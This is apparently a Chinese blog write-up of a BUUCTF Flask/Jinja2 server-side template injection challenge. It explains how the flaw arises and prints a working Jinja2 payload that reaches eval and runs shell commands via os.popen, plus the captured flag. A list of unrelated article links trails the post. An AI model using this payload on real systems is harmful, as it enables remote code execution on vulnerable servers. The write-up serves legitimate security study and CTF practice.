BUUCTF-Real-[Flask]SSTI

目录

漏洞描述

模板注入漏洞如何产生?

漏洞检测

漏洞利用

[get flag](#get flag)

​编辑

漏洞描述

Flask框架(jinja2)服务端模板注入漏洞分析(SSTI)

Flask 是一个 web 框架。也就是说 Flask 为您提供工具、库和技术来允许您构建一个 web 应用程序。

这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。 Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug;缺点是,您不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。


服务器端模板注入是指攻击者能够使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板。

模板引擎旨在通过将固定模板与易失性数据结合来生成网页。当用户输入直接连接到模板中而不是作为数据传递时,可能会发生服务器端模板注入攻击。这使攻击者可以注入任意模板指令以操纵模板引擎,从而经常使攻击者能够完全控制服务器。顾名思义,服务器端模板注入有效载荷是在服务器端交付和评估的,这可能使它们比典型的客户端模板注入更加危险。

题目是关于模板注入漏洞的!

模板注入漏洞如何产生?

当用户输入被串联到模板中而不是作为数据传递时,服务器端模板注入漏洞就会出现。

简单来说也就是不正确的使用flask中的render_template_string方法会引发SSTI。

仅提供占位符并在其中呈现动态内容的静态模板通常不容易受到服务器端模板注入的攻击。经典示例是一封电子邮件,其中用每个用户的名字打招呼,例如Twig模板中的以下摘录:

复制代码
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );

这不易受到服务器端模板注入的影响,因为用户的名字仅作为数据传递到模板中。但是,由于模板只是字符串,因此Web开发人员有时会在呈现之前将用户输入直接连接到模板中。让我们以与上述示例类似的示例为例,但是这次,用户可以在发送电子邮件之前自定义部分电子邮件。例如,他们也许可以选择使用的名称:

复制代码
$output = $twig->render("Dear " . $_GET['name']);

在此示例中,不是将静态值传递到模板中,而是使用GET参数动态生成模板本身的一部分name。在服务器端评估模板语法时,这可能使攻击者可以按以下方式将服务器端模板注入有效负载放置在name参数中:

复制代码
http://xxx/?name={{bad-stuff-here}}

漏洞检测


通过poc检测,发现存在模板注入漏洞!



漏洞利用

我们只需要在注入点内写入指定的python payload即可触发代码执行漏洞!

payload:

{% for c in \[\].class.base.subclasses() %}

{% if c.name == 'catch_warnings' %}

{% for b in c.init.globals.values() %}

{% if b.class == {}.class %}

{% if 'eval' in b.keys() %}

{{ b'eval'('import("os").popen("id").read()') }}

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}



我们可以看到触发了代码执行漏洞!我们就可以就行执行任意代码了!



get flag


当我们尝试打印出环境变量时,发现flag!

flag{8a1814aa-85bc-4fb8-b8a6-9699315af136}

相关推荐
微学AI12 小时前
从连接到安全落地:KES MCP Server 工程化实践的全记录
安全
A-刘晨阳13 小时前
数据主权时代:自主可控时序大模型TimechoAI筑牢关键基础设施安全防线
大数据·安全
安全指北针14 小时前
AI Agent自主入侵真实系统:OpenAI和Anthropic两大模型接连“失控“,给安全行业敲响了什么警钟?
人工智能·安全
2501_9159184115 小时前
iOS 怎么抓包?抓包鹰系统级 网卡 应用层三种方式对比,不越狱抓 iPhone 流量
网络协议·计算机网络·网络安全·ios·adb·https·udp
零信任Enlink_Young15 小时前
OpenAI 模型失控事件:AI 时代,零信任重塑内网安全
人工智能·安全
2501_9160088917 小时前
移动安全之 APP 加固,保障移动应用安全的重要手段
安全·macos·ios·小程序·uni-app·iphone·xcode
深盾科技_Virbox17 小时前
软件加密工具怎么选:试用验证、采购成本与授权范围
开发语言·安全·软件需求
菩提小狗17 小时前
每日安全情报报告 · 2026-08-06
网络安全·漏洞·cve·安全情报·每日安全
数据知道17 小时前
XSS 攻防全解:反射型、存储型、DOM 型实战演示
前端·安全·web安全·网络安全·xss
阿凉070218 小时前
STO安全扭矩关断接线
安全